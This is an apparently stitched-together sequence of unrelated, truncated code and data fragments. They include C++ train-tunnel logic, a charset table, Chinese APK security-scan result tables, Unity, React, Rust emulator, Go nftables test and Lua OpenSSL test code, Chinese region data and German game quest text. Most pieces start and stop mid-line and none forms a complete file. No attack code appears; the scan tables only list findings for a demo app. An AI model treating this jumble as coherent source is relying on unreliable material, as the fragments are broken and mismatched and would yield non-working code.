static void GetAvailableFreeTilesInSignalledTunnelBridgeEnum(const Train *v, GetAvailableFreeTilesInSignalledTunnelBridgeChecker *checker)
{
	/* Don't look at wagons between front and back of train. */
	if ((v->Previous() != nullptr && v->Next() != nullptr)) return;

	if (!IsDiagonalDirection(v->direction)) {
		/* Check for vehicles on non-across track pieces of custom bridge head */
		if ((GetAcrossTunnelBridgeTrackBits(v->tile) & v->track & TRACK_BIT_ALL) == TRACK_BIT_NONE) return;
	}

	int v_pos;
	switch (checker->direction) {
		default: NOT_REACHED();
		case DIAGDIR_NE: v_pos = -v->x_pos + TILE_UNIT_MASK; break;
		case DIAGDIR_SE: v_pos =  v->y_pos; break;
		case DIAGDIR_SW: v_pos =  v->x_pos; break;
		case DIAGDIR_NW: v_pos = -v->y_pos + TILE_UNIT_MASK; break;
	}
	if (v_pos > checker->pos && v_pos < checker->lowest_seen) {
		checker->lowest_seen = v_pos;
	}
}

int GetAvailableFreeTilesInSignalledTunnelBridgeWithStartOffset(TileIndex entrance, TileIndex exit, int offset)
{
	if (offset < 0) offset = 0;
	TileIndex tile = entrance;
	if (offset > 0) tile += offset * TileOffsByDiagDir(GetTunnelBridgeDirection(entrance));
	int free_tiles = GetAvailableFreeTilesInSignalledTunnelBridge(entrance, exit, tile);
	if (free_tiles != INT_MAX && offset > 0) free_tiles += offset;
	return free_tiles;
}

int GetAvailableFreeTilesInSignalledTunnelBridge(TileIndex entrance, TileIndex exit, TileIndex tile)
{
	GetAvailableFreeTilesInSignalledTunnelBridgeChecker checker;
	checker.direction = GetTunnelBridgeDirection(entrance);
	checker.lowest_seen = INT_MAX;
	switch (checker.direction) {
		default: NOT_REACHED();
		case DIAGDIR_NE: checker.pos = -(int)(TileX(tile) * TILE_SIZE); break;
		case DIAGDIR_SE: checker.pos =       (TileY(tile) * TILE_SIZE); break;
		case DIAGDIR_SW: checker.pos =       (TileX(tile) * TILE_SIZE); break;
		case DIAGDIR_NW: checker.pos = -(int)(TileY(tile) * TILE_SIZE); break;
	}

	for (const Train *t : VehiclesOnTile<VEH_TRAIN>(entrance)) {
		GetAvailableFreeTilesInSignalledTunnelBridgeEnum(t, &checker);
	}
	for (const Train *t : VehiclesOnTile<VEH_TRAIN>(exit)) {
		GetAvailableFreeTilesInSignalledTunnelBridgeEnum(t, &checker);
	}

	if (checker.lowest_seen == INT_MAX) {
		/* Remainder of bridge/tunnel is clear */
		return INT_MAX;
	}

	return (checker.lowest_seen - checker.pos) / TILE_SIZE;
}

/**
 * Tests if a vehicle interacts with the specified track bits.
 * All track bits interact except parallel #TRACK_BIT_HORZ or


 0x5b, 0x60);
      AddTrait(CharTraits::Punctuation, 0x7b, 0x7e);
      AddTrait(CharTraits::Control, 0x7f, 0x9f);
      AddTrait(CharTraits::Punctuation, 0xa0, 0xbf);
      AddTrait(CharTraits::Alphabetic, 0xc0, 0x2af);
      AddTrait(CharTraits::Punctuation, 0x2b0, 0x36f);
      AddTrait(CharTraits::Alphabetic, 0x370, 0x1fff);
      AddLanguage(English, ENGLISH);
      AddLanguage(Russian, RUSSIAN);
      AddLanguage(German, GERMAN);
      AddLanguage(Slovene, SLOVENE);
      AddLanguage(Hungarian, HUNGARIAN);
      AddLanguage(Slovak, SLOVAK);
      AddLanguage(Czech, CZECH);
      AddLanguage(Polish, POLISH);
      AddLanguage(DanishNorway, DANISH_NORWAY);
      AddLanguage(Spanish, SPANISH);
    }

    void AddTrait(uint_t trait, uint_t first, uint_t last)
    {
      for (uint_t idx = first; idx <= last; ++idx)
      {
        Traits[idx] = trait;
      }
    }

    void AddLanguage(LanguagesMask lang, const Letter* alphabet)
    {
      for (const auto* it = alphabet; *it != LIMITER; ++it)
      {
        const auto letter = *it;
        Traits.at(letter.Upper) = CharTraits::Alphabetic | letter.Traits | CharTraits::Capital;
        Traits.at(letter.Lower) = CharTraits::Alphabetic | letter.Traits;
        Languages.at(letter.Upper) |= lang;
        Languages.at(letter.Lower) |= lang;
      }
    }

  private:
    std::array<uint8_t, TOTAL_SYMBOLS> Traits;
    std::array<uint16_t, TOTAL_ALPHABETIC> Languages;
  };

  // clang-format off

  /*
    CP866:
      no latins
      #80..#af => #410..#43f delta=#390
      #e0..#ef => #440..#44f delta=#360
      #f0 (YO) => #401
      #f1 (yo) => #451
  */
  struct CP866
  {
    static uint32_t GetUnicode(uint8_t sym)
    {
      static const uint32_t UNICODES[128] =
      {
        // x0       x1      x2      x3      x4      x5      x6      x7      x8      x9      xA      xB      xC      xD      xE      xF
        0x0410, 0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0416, 0x0417, 0x0418, 0x0419, 0x041a, 0x041b, 0x041c, 0x041d, 0x041e, 0x041f, //8x
        0x0420, 0x0421, 0x0422, 0x0423, 0x0424, 0x0425, 0x0426


│ 11:FD:51:80:47:58:9C:9B:FC:BB:BB:45:71:19:17:D7:7E:E9:2F:21:4C:AE:31:39:A7:46:D1:04:9F:63:51:90          │
│          │ 签名算法名称: SHA1withRSA (弱)                                                                           │
│          │ 主体公共密钥算法: 2048 位 RSA 密钥                                                                       │
│          │ 版本: 1                                                                                │
│          │                                                                                │
└──────────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────┘
┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ 检测项目 ┃ Zip文件解压目录遍历检测                   ┃
├──────────┼───────────────────────────────────────────┤
│ 项目描述 │ 检测Apk中是否存在Zip文件解压目录遍历漏洞  │
├──────────┼───────────────────────────────────────────┤
│ 危险等级 │ 高危                                      │
├──────────┼───────────────────────────────────────────┤
│ 项目描述 │ com.hijack.demo.hijack.TestZip.smali : 74 │
└──────────┴───────────────────────────────────────────┘
┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ 检测项目 ┃ 截屏攻击风险检测                        ┃
├──────────┼─────────────────────────────────────────┤
│ 项目描述 │ 检测App是否存在截屏攻击风险检测         │
├──────────┼─────────────────────────────────────────┤
│ 危险等级 │ 低危                                    │
├──────────┼─────────────────────────────────────────┤
│ 项目描述 │ com.hijack.demo.hijack.QQActivity.smali │
└──────────┴─────────────────────────────────────────┘
┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ 检测项目 ┃ 网络端口开放威胁检测                                          ┃
├──────────┼───────────────────────────────────────────────────────────────┤
│ 项目描述 │ 检测App中是否存在网络端口开放风险                             │
├──────────┼───────────────────────────────


Engine;
using System;

/// <summary>
/// A serializable Vector3
/// </summary>
[Serializable()]
public class SVector3
{
	/// <summary>
	/// The x component
	/// </summary>
	public float x { get; set; }

	/// <summary>
	/// The y component
	/// </summary>
	public float y { get; set; }

	/// <summary>
	/// The z component
	/// </summary>
	public float z { get; set; }

	/// <summary>
	/// Constructor
	/// </summary>
	public SVector3(float X, float Y, float Z)
	{
		x = X;
		y = Y;
		z = Z;
	}

	/// <summary>
	/// Implicit operator
	/// </summary>
	static public implicit operator SVector3(Vector3 value)
	{
		return new SVector3(value.x,value.y,value.z);
	}

	/// <summary>
	/// Explicit operator
	/// </summary>
	static public explicit operator Vector3(SVector3 value)
	{
		return new Vector3(value.x,value.y,value.z);
	}
}


ry Sphere Hum-none",
	looping = true,
	mindistance = 2500,
	type = "MisteryLoop",
	volume = 50,
})

PlaceObj('SoundPreset', {
	group = "Mystery",
	id = "Mystery Sphere Move",
	looping = true,
	mindistance = 2000,
	type = "ObjectLoop",
	volume = 90,
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterysphere_move1",
		'frequency', 50,
	}),
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterysphere_move2",
		'frequency', 50,
	}),
})

PlaceObj('SoundPreset', {
	group = "Mystery",
	id = "Mystery Sphere Reveal",
	mindistance = 3500,
	type = "MisteryAction",
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterysphere_reveal1",
		'frequency', 50,
	}),
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterysphere_reveal2",
		'frequency', 50,
	}),
})

PlaceObj('SoundPreset', {
	group = "Mystery",
	id = "Mystery Sphere Select",
	mindistance = 3000,
	type = "ObjectOperation",
	volume = 80,
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterySphere_select1",
		'frequency', 50,
	}),
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterySphere_select2",
		'frequency', 50,
	}),
})

PlaceObj('SoundPreset', {
	group = "Mystery",
	id = "Mystery Sphere Split",
	mindistance = 3500,
	type = "MisteryAction",
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterysphere_split1",
		'frequency', 50,
	}),
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterysphere_split2",
		'frequency', 50,
	}),
})

PlaceObj('SoundPreset', {
	group = "Mystery",
	id = "Mystery Sphere Split Pulse",
	mindistance = 2500,
	type = "MisteryAction",
	volume = 80,
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterysphere_splitpulse1",
		'frequency', 50,
	}),
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterysphere_splitpulse2",
		'frequency', 50,
	}),
})

PlaceObj('SoundPreset', {
	group = "Mystery",
	id = "Mystery Sphere Takeoff",
	mindistance = 4000,
	type = "MisteryAction",
	volume = 130,
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterysphere_takeoff1",
		'frequency', 50,
	}),
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterysphere_takeoff2",
		'frequency', 50,
	}),
})

PlaceObj('SoundPreset', {
	group = "Mystery",
	id = "Mystery Sphere Transform",
	looping = true,
	mindistance = 3500,
	type = "MisteryLoop",
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/misterySphere_transform1",
		'frequency', 50,
	}),
	PlaceObj('Sample', {
		'file', "Sounds/Mysteries/Sphere/mistery


bg);border-color:var(--bd-violet)}.bd-toc-toggle:focus,.bd-toc-toggle[aria-expanded="true"]{box-shadow:0 0 0 3px rgba(var(--bd-violet-rgb), 0.25)}}@media (max-width: 767.98px){.bd-toc-collapse nav{padding:1.25rem 1.25rem 1.25rem 1rem;background-color:var(--bs-tertiary-bg);border:1px solid var(--bs-border-color);border-radius:var(--bs-border-radius)}}@media (min-width: 768px){.bd-toc-collapse{display:block !important}}.bd-footer a{color:var(--bs-body-color);text-decoration:none}.bd-footer a:hover,.bd-footer a:focus{color:var(--bs-link-hover-color);text-decoration:underline}.bd-code-snippet{margin:0 -1.5rem 1rem;border:solid var(--bs-border-color);border-width:1px 0}@media (min-width: 768px){.bd-code-snippet{margin-right:0;margin-left:0;border-width:1px;border-radius:var(--bs-border-radius)}}.bd-example{--bd-example-padding: 1rem;position:relative;padding:var(--bd-example-padding);margin:0 -1.5rem 1rem;border:solid var(--bs-border-color);border-width:1px 0}.bd-example::after{display:block;clear:both;content:""}@media (min-width: 768px){.bd-example{--bd-example-padding: 1.5rem;margin-right:0;margin-left:0;border-width:1px;border-radius:var(--bs-border-radius)}}.bd-example+p{margin-top:2rem}.bd-example>.form-control+.form-control{margin-top:.5rem}.bd-example>.nav+.nav,.bd-example>.alert+.alert,.bd-example>.navbar+.navbar,.bd-example>.progress+.progress{margin-top:1rem}.bd-example>.dropdown-menu{position:static;display:block}.bd-example>:last-child,.bd-example>nav:last-child .breadcrumb{margin-bottom:0}.bd-example>hr:last-child{margin-bottom:1rem}.bd-example>svg+svg,.bd-example>img+img{margin-left:.5rem}.bd-example>.btn,.bd-example>.btn-group{margin:.25rem .125rem}.bd-example>.btn-toolbar+.btn-toolbar{margin-top:.5rem}.bd-example>.list-group{max-width:400px}.bd-example>[class*="list-group-horizontal"]{max-width:100%}.bd-example .fixed-top,.bd-example .sticky-top{position:static;margin:calc(var(--bd-example-padding) * -1) calc(var(--bd-example-padding) * -1) var(--bd-example-padding)}.bd-example .fixed-bottom,.bd-example .sticky-bottom{position:static;margin:var(--bd-example-padding) calc(var(--bd-example-padding) * -1) calc(var(--bd-example-padding) * -1)}.bd-example .pagination{margin-bottom:0}.bd-example-row [class^="col"],.bd-example-cols [class^="col"]>*,.bd-example-cssgrid [class*="grid"]>*{padding-top:.75rem;padding-bottom:.75rem;background-color:rgba(var(--bd-violet-rgb), 0.15);border:1px solid rgba(var(--bd-violet-rgb), 0.3)}.bd-example-row .row+.row,.bd-example-cssgrid .grid+.grid{margin-top:1rem}.bd-example-row-flex-cols .row{min-height:10rem;background-color:rgba(var(--bd-violet-rgb), 0.15)}.bd-


<ActionVideo currentEx={props.currentEx} />

        ) : (
          <LiveRestTimer
            time={currentrest}
            getTimer={getrestfinish}
            currentEx={props.currentEx}
          />
        )
      ) : props.finish ? (

{currentcount}개

            {props.showBtn ? (
              <button className={styles.button} onClick={onClick}>
                Next
              </button>
            ) : null}

            <ActionVideo currentEx={props.currentEx} />

      ) : (
        currentrest !== 0 && (
          <LiveRestTimer
            time={currentrest}
            getTimer={getrestfinish}
            currentEx={props.currentEx}
          />
        )
      )}

  );
};

export default LiveExStart;
import React from 'react';
import { useState, useEffect, useRef } from 'react';
import styles from '../../css/Timer/readyTimer.module.css';

const Timer = (props) => {
  const [seconds, setSeconds] = useState(0);
  const [stopbutton, setStopbutton] = useState(true);
  const time = useRef(props.time);
  const countdown = useRef(null);

  useEffect(() => {
    countdown.current = setInterval(() => {
      setSeconds(time.current);
      time.current -= 1;
    }, 1000);
    return () => clearInterval(countdown.current);
  }, []);

  useEffect(() => {
    if (time.current <= 0) {
      clearInterval(countdown.current);
      props.getfinish();
    }
  }, [seconds]);

  const onClickstop = () => {
    setStopbutton(!stopbutton);
    clearInterval(countdown.current);
  };
  const onClickrestart = () => {
    setStopbutton(!stopbutton);
    countdown.current = setInterval(() => {
      setSeconds(time.current);
      time.current -= 1;
    }, 1000);
  };
  return (

        {parseInt(time.current / 60)}:{time.current % 60}

        {stopbutton ? (
          <button onClick={onClickstop} className={styles.button}>
            STOP
          </button>
        ) : (
          <button onClick={onClickrestart} className={styles.button}>
            RESTART
          </button>
        )}

  );
};

export default Timer;
import { React, useState, useEffect } from 'react';
import { useParams, useNavigate } from 'react-router-dom';
import styles from '../../css/RoutineStart/ExerciseDetail.module.css';
import axios from 'axios';

const ExerciseDetail = () => {
  const [detailRoutine, setDetailRoutine] = useState(null);
  const [loading, setLoading] = useState(false);
  const [error, setError] = useState(null);
  const { id } = useParams();

  const navigate = useNavigate();

  const onClickBack = () => {
    navigate(`/my/routine/list`);
  };
  const fetchroutine = async () => {
    try {
      setDetailRoutine(null);
      setLoading(true);
      setError(null);

      const response = await axios.get(
        `https://52.78.0.53.sslip.io/api/ex-routines/${id}`
      );
      setDetailRoutine(response.data.result.routineDetails);
    } catch (e) {
      setError(e);
    }
    setLoading(


s).wrapping_add(acc);
    cpu.registers.write(rd, res);
    set_nz_flags(cpu, res);

    let icycles = 1 + internal_multiply_cycles(rhs, false);
    cycles += icycles;
    memory.on_internal_cycles(icycles);

    return cycles;
}

/// Multiply registers
pub fn arm_mul(cpu: &mut ArmCpu, memory: &mut dyn ArmMemory, instr: u32) -> u32 {
    let mut cycles = cpu.arm_prefetch(memory);

    let (rm, rs, _rn, rd) = get_mulinstr_regs(instr);
    let lhs = cpu.registers.read(rm);
    let rhs = cpu.registers.read(rs);
    let res = lhs.wrapping_mul(rhs);
    cpu.registers.write(rd, res);

    let icycles = internal_multiply_cycles(rhs, false);
    cycles += icycles;
    memory.on_internal_cycles(icycles);

    return cycles;
}

/// Multiply registers, setting flags
pub fn arm_muls(cpu: &mut ArmCpu, memory: &mut dyn ArmMemory, instr: u32) -> u32 {
    let mut cycles = cpu.arm_prefetch(memory);

    let (rm, rs, _rn, rd) = get_mulinstr_regs(instr);
    let lhs = cpu.registers.read(rm);
    let rhs = cpu.registers.read(rs);
    let res = lhs.wrapping_mul(rhs);
    cpu.registers.write(rd, res);
    set_nz_flags(cpu, res);

    let icycles = internal_multiply_cycles(rhs, false);
    cycles += icycles;
    memory.on_internal_cycles(icycles);

    return cycles;
}

/// Signed long multiply and accumulate
pub fn arm_smlal(cpu: &mut ArmCpu, memory: &mut dyn ArmMemory, instr: u32) -> u32 {
    let mut cycles = cpu.arm_prefetch(memory);

    let (rm, rs, rd_lo, rd_hi) = get_long_mulinstr_regs(instr);
    let rsv = cpu.registers.read(rs);
    let lhs = cpu.registers.read(rm) as i32 as i64; // sign-extended
    let rhs = rsv as i32 as i64; // sign-extended
    let alo = cpu.registers.read(rd_lo) as u32 as i64; // zero-extended
    let ahi = cpu.registers.read(rd_hi) as u32 as i64; // zero-extended
    let acc = (ahi << 32) | alo;
    let res = lhs.wrapping_mul(rhs).wrapping_add(acc);
    let res_lo = (res & 0xFFFFFFFF) as u32;
    let res_hi = ((res >> 32) & 0xFFFFFFFF) as u32;
    cpu.registers.write(rd_lo, res_lo);
    cpu.registers.write(rd_hi, res_hi);

    let icycles = 1 + internal_multiply_cycles(rsv, true);
    cycles += icycles;
    memory.on_internal_cycles(icycles);

    return cycles;
}

/// Signed long multiply and accumulate, setting flags
pub fn arm_smlals(cpu: &mut ArmCpu, memory: &mut dyn ArmMemory, instr: u32) -> u32 {
    let mut cycles = cpu.arm_prefetch(memory);

    let (rm, rs, rd_lo, rd_hi) = get_long_mulinstr_regs(instr);
    let rsv = cpu.registers.read(rs);
    let lhs = cpu.registers.read(rm) as i32 as i64; // sign-extended
    let rhs = rsv as i32 as i64; // sign-extended
    l


sage: "dotnet new globaljson",
    },
    {
      value: "nugetconfig",
      label: "NuGet config",
      usage: "dotnet new nugetconfig",
    },
    {
      value: "webconfig",
      label: "Web config",
      usage: "dotnet new webconfig",
    },
  ],
  add: [
    {
      value: "csharp-project",
      label: "an existing C# project to a solution",
      usage: "dotnet sln [<solution>.sln] add <project>.csproj",
      note:
        "Replace <solution> and <project> with the items you want, if you are in .sln path youd do not have add solution name",
    },
    {
      value: "project-reference",
      label: "a reference from one project to another",
      usage: "dotnet add [<PROJECT>] reference <project>.csproj",
      note: "Replace <project> with the item you want",
    },
    {
      value: "package-reference",
      label: "a package reference to a project file",
      usage: "dotnet add [<project>] package <package_name>",
      note:
        "If not specified, the command searches the current directory for one\n\ne.g. 'dotnet add package Newtonsoft.Json'\n\nAfter running the command, there's a compatibility check to ensure the package is compatible with the frameworks in the project. If the check passes, a <PackageReference> element is added to the project file and dotnet restore is run.",
    },
    {
      value: "pattern",
      label: "multiple C# projects to a solution using a globbing pattern",
      usage: "dotnet sln <solution>.sln add **/*.csproj",
      note: "Replace <solution> with the name you want",
    },
  ],
  delete: [
    {
      value: "project",
      label: "a C# project from a solution",
      usage: "dotnet sln todo.sln remove todo-app/todo-app.csproj",
    },
    {
      value: "project-reference",
      label: "project-to-project references",
      usage:
        "dotnet remove [<PROJECT>] reference [-f|--framework] <PROJECT_REFERENCES>",
      note:
        "If not specified, the command searches the current directory for project\n\ne.g. 'dotnet remove reference lib1/lib1.csproj lib2/lib2.csproj'",
    },
    {
      value: "package-reference",
      label: "package reference from a project file",
      usage: "dotnet remove [<PROJECT>] package <PACKAGE_NAME>",
      note:
        "If not specified, the command searches the current directory for project\n\ne.g. dotnet remove package Newtonsoft.Json",
    },
  ],
  show: [
    {
      value: "help",
      label: "help for a command",
      usage: "dotnet help <command>",
      note:
        "Replace <command> with the command you need help for.\n\ne.g. dotnet build -h.",
    },
    {
      value: "installed templates",
      label: "list of the available templates",
      usage: "dotnet new -l",
    },
    {
      value: "projects",
      label: "all projects in a solution file",
      usage: "dotnet sln list",
    },
    {
      value: "info",
      label:
        "detailed information about a .NET Core installation and the machine environment,",
      usage: "dotnet --info",
    },
    {
      value: "installed runtimes",
      label: "installed .NET Core runtimes",
      usage: "dotnet --list-runtimes",
    },
    {
      value


// Copyright 2024 Intel Corporation. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

#pragma once

#include <stdint.h>
#include <stdbool.h>

#define VENDOR_ID_INTEL 0x8086
#define TEMP_ERROR_RET_VAL -999.0

void zes_set_verbosity(const int level);

bool ze_try_initialize(void);
bool zes_try_initialize(void);

int ze_status_to_string(const uint32_t error, char* out, uint32_t out_size);

int ze_intel_device_indices(uint32_t* indices, uint32_t indices_size, uint32_t* error);
uint64_t zes_device_memory_amount(char* bdf_address, uint32_t* error);
bool zes_device_memory_is_healthy(char* bdf_address, uint32_t* error);
bool zes_device_bus_is_healthy(char* bdf_address, uint32_t* error);
double zes_device_temp_max(char* bdf_address, char* sensor, uint32_t* error);


ype ipv6_addr
              flags interval
              auto-merge
      }

      chain postrouting {
              type nat hook postrouting priority srcnat - 10; policy accept;
              ct state established,related accept
              fib daddr type local accept
              ip daddr @noMasqV4 accept
              ip6 daddr @noMasqV6 accept
              masquerade counter packets 0 bytes 0
      }
}
`,
		},
		{
			name: "ipv4 - ipv6 node",
			nodes: []*v1.Node{
				{
					ObjectMeta: metav1.ObjectMeta{Name: "node1"},
					Spec:       v1.NodeSpec{PodCIDRs: []string{"10.1.1.0/24", "2001:db8::/64"}},
				},
			},
			expectedNftables: `
table inet kindnet-ipmasq {
      set noMasqV4 {
              type ipv4_addr
              flags interval
              auto-merge
              elements = { 10.1.1.0/24 }
      }

      set noMasqV6 {
              type ipv6_addr
              flags interval
              auto-merge
              elements = { 2001:db8::/64 }
      }

      chain postrouting {
              type nat hook postrouting priority srcnat - 10; policy accept;
              ct state established,related accept
              fib daddr type local accept
              ip daddr @noMasqV4 accept
              ip6 daddr @noMasqV6 accept
              masquerade counter packets 0 bytes 0
      }
}
`,
		},
		{
			name:     "ipv4 - ipv6 node and no cidr masqs",
			noMasqV4: []string{"192.168.0.0/24"},
			noMasqV6: []string{"fd00:1:2:3::/112"},
			nodes: []*v1.Node{
				{
					ObjectMeta: metav1.ObjectMeta{Name: "node1"},
					Spec:       v1.NodeSpec{PodCIDRs: []string{"10.1.1.0/24", "2001:db8::/64"}},
				},
			},
			expectedNftables: `
table inet kindnet-ipmasq {
      set noMasqV4 {
              type ipv4_addr
              flags interval
              auto-merge
              elements = { 10.1.1.0/24, 192.168.0.0/24 }
      }

      set noMasqV6 {
              type ipv6_addr
              flags interval
              auto-merge
              elements = { 2001:db8::/64,
                           fd00:1:2:3::/112 }

      }

      chain postrouting {
              type nat hook postrouting priority srcnat - 10; policy accept;
              ct state established,related accept
              fib daddr type local accept
              ip daddr @noMasqV4 accept
              ip6 daddr @noMasqV6 accept
              masquerade counter packets 0 bytes 0
      }
}
`,
		},
	}
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			client := fake.NewSimpleClientset()
			informerFactory := informers.NewSharedInformerFactory(client, 0)
			nodeInformer := informerFactory.Core().V1().Nodes()
			indexer := nodeInformer.Informer().GetIndexer()
			for _, node := range tt.nodes {
				if err := indexer.Add(node); err != nil {
					t.Fatal(err)
				}
			}
			v4s := []netip.Prefix{}
			for _, cidr := range tt.noMasqV4 {
				v4s = append(v4s, netip.MustParsePrefix(cidr))
			}
			v6s := []netip.Prefix{}
			for _, cidr := range tt.noMasqV6 {
				v


,
          {
            label: '吉木乃县',
            value: '654326',
            children: null,
          },
        ],
      },
      {
        label: '石河子市',
        value: '659001',
        children: [
          {
            label: '新城街道',
            value: '659001001',
            children: null,
          },
          {
            label: '向阳街道',
            value: '659001002',
            children: null,
          },
          {
            label: '红山街道',
            value: '659001003',
            children: null,
          },
          {
            label: '老街街道',
            value: '659001004',
            children: null,
          },
          {
            label: '东城街道',
            value: '659001005',
            children: null,
          },
          {
            label: '北泉镇',
            value: '659001100',
            children: null,
          },
          {
            label: '石河子镇',
            value: '659001200',
            children: null,
          },
          {
            label: '兵团一五二团',
            value: '659001500',
            children: null,
          },
        ],
      },
      {
        label: '阿拉尔市',
        value: '659002',
        children: [
          {
            label: '金银川路街道',
            value: '659002001',
            children: null,
          },
          {
            label: '幸福路街道',
            value: '659002002',
            children: null,
          },
          {
            label: '青松路街道',
            value: '659002003',
            children: null,
          },
          {
            label: '南口街道',
            value: '659002004',
            children: null,
          },
          {
            label: '托喀依乡',
            value: '659002200',
            children: null,
          },
          {
            label: '兵团七团',
            value: '659002500',
            children: null,
          },
          {
            label: '兵团八团',
            value: '659002501',
            children: null,
          },
          {
            label: '兵团十团',
            value: '659002503',
            children: null,
          },
          {
            label: '兵团十二团',
            value: '659002505',
            children: null,
          },
          {
            label: '兵团十四团',
            value: '659002507',
            children: null,
          },
          {
            label: '兵团五团',
            value: '659002508',
            children: null,
          },
          {
            label: '兵团十六团',
            value: '659002509',
            children: null,
          },
          {
            label: '兵团第一师水利水电工程处',
            value: '659002511',
            children: null,
          },
          {
            label: '阿拉尔农场',
            value: '659002513',
            children: null,
          },
          {
            label: '兵团第一师幸福农场',
            value: '659002514',
            children: null,
          },
          {
            label: '兵团二团',
            value: '659002901',
            children: null,
          },
          {
            label: '兵团农一师沙井子水利管理处',
            value: '659002902',
            children: null


002e2_002e2" href="#Migrate-021-to-022">2.5.12 Migrate 0.2.1 to 0.2.2

2.5.13 Migrate 0.1.5 to 0.1.6

2.5.14 Migrate 0.1.1 to 0.1.2

3 Connecting to Trello.com

3.1 Installing Your Trello.com Credentials

3.2 Connect an org-mode buffer with an existing Trello board.

3.3 Create a Trello board from your org-mode buffer.

4 Using ‘<samp>org-trello</samp>’

4.1 Quick Start

4.2 CHEK Commands

4.2.1 CHEK Help Commands

4.2.2 CHEK Connection Commands

4.2.3 CHEK Synchronization Commands

4.2.4 CHEK Editing Commands

4.2.5 CHEK Other Commands

4.3 Format of org-trello

5 Troubleshooting ‘<samp>org-trello</samp>’

<a name="toc-Common-Issues-1" href="#Common-Iss


gelte Beschreibung von Thredds Besucher nach Stormwind zu Meister Mathias Shaw.",
    ["T"] = "Schatten der Vergangenheit",
  },
  [394] = {
    ["D"] = "Sucht Shaw in der Altstadt. Teilt ihm mit, dass Ihr Euch um die Bedrohung durch Lescovar gekümmert habt, und berichtet ihm von Eurer Beteiligung an den Plänen des Lords gegen die Stadt. Ich bin sicher, er wird stolz sein, einen weiteren Helden unter den Bürgern Stormwinds zu haben.$B$BEr wird Euch ganz bestimmt zu einem Treffen mit dem Prinzen oder einem anderen Adligen schicken. Lasst Euch das nicht zu Kopfe steigen, $N. Die Adligen können noch so sehr glauben, dass sie die Stadt beherrschen, aber einige Dinge bleiben für die im Dunklen.",
    ["O"] = "Sprecht mit Mathias Shaw in Stormwind.",
    ["T"] = "Der Kopf des Ganzen",
  },
  [395] = {
    ["D"] = "Ach, das hätte ich fast vergessen. Alexston kam vorbei, als Ihr unterwegs wart, und wünschte mit Euch zu sprechen. Zweifellos möchte er den Adligen über die Ränkespiele der Defiasbruderschaft berichten.$B$BEin kleiner Rat, $n: Sollte Euch jemand fragen, würde ich zwar alle Details offen legen, aber dabei nicht erwähnen, dass es Eure Hand war, die Lescovar erschlug. Vertraut mir. Ich... kenne mich aus... mit solchen Dingen.$B$BUnd was Trias angeht, nun, sprecht mit niemandem über ihn... niemals... wenn Ihr es vermeiden könnt.",
    ["O"] = "Sprecht mit Baros Alexston in Stormwind.",
    ["T"] = "Das Ende der Bruderschaft",
  },
  [396] = {
    ["D"] = "Ich habe einen Bericht an den König vorbereitet. Und Ihr sollt sein Überbringer sein, zusammen mit einer Auflistung Eurer Ergebnisse. Macht Euch keine Sorgen, er wird Euch zweifellos für die Erfüllung Eurer Pflicht gegenüber den Leuten von Stormwind loben.$B$BEure Audienz findet in Kürze statt, also solltet Ihr Euch besser beeilen, denn es ist schon ein Stück Weges bis zur Burg Stormwind.",
    ["O"] = "Liefert Baros Alexstons Bericht über die Bruderschaft der Defias bei König Varian Wrynn in der Burg Stormwind ab.",
    ["T"] = "Eine Audienz beim König",
  },
  [397] = {
    ["D"] = "Wie ich höre, hat Lord Wishock sein Getränk genossen. $b$bIhr habt uns gut gedient, $N. Die Hexenmeister von Stormwind werden nun, dank Euch, ohne Störung ihrem Tagewerk nachgehen können. Ich habe ein besonderes Geschenk vorbereitet, um Euch für Eure Mühen zu entlohnen. Sprecht mit meinem Diener, Zggi, um Eure Belohnung zu erhalten.",
    ["O"] = "Sprecht mit Zggi, dem Diener von Zardeth von den Blackclaw, um Eure Belohnung zu erhalten.",
    ["T"] = "Ihr habt uns gut gedient",
  },
  [398] = {
    ["D"] = "Gesucht: Madenauge!$b$bDie selbst für einen Gnoll außerordentlich niederträchtige Kreatur wurde für ihre Verbrechen an den Verlassenen zum Tode verurteilt. Dieser verabscheuungswürdige Verbrecher hat Leichen für die Armee des L


== 0)
  assert(not t.failure_info)
  assert(res:dup():export()==res:export())

  local tst = res:tst_info()
  assert(tst:version()==1)
  assert(tst.policy_id)
  assert(tst:policy_id():txt()=="1.2.3.4.100")
  assert(tst:msg_imprint())
  assert(tst:serial():tostring())
  assert(tst:time():tostring())
  assert(tst:accuracy())
  assert(tst:ordering()==false)
  local sec, mil, mic = 100000, 10, 1
  local accuracy = openssl.ts.ts_accuracy_new(sec, mil, mic)
  tst:accuracy(accuracy)

  tst:nonce()
  tst:tsa()
  tst:extensions()

end


= null && EF.Functions.Like(f.FilePath, $"%{normalizedPath}%")
                            )
                        )
                    )
                );
            case FilterComparison.NotEqual:
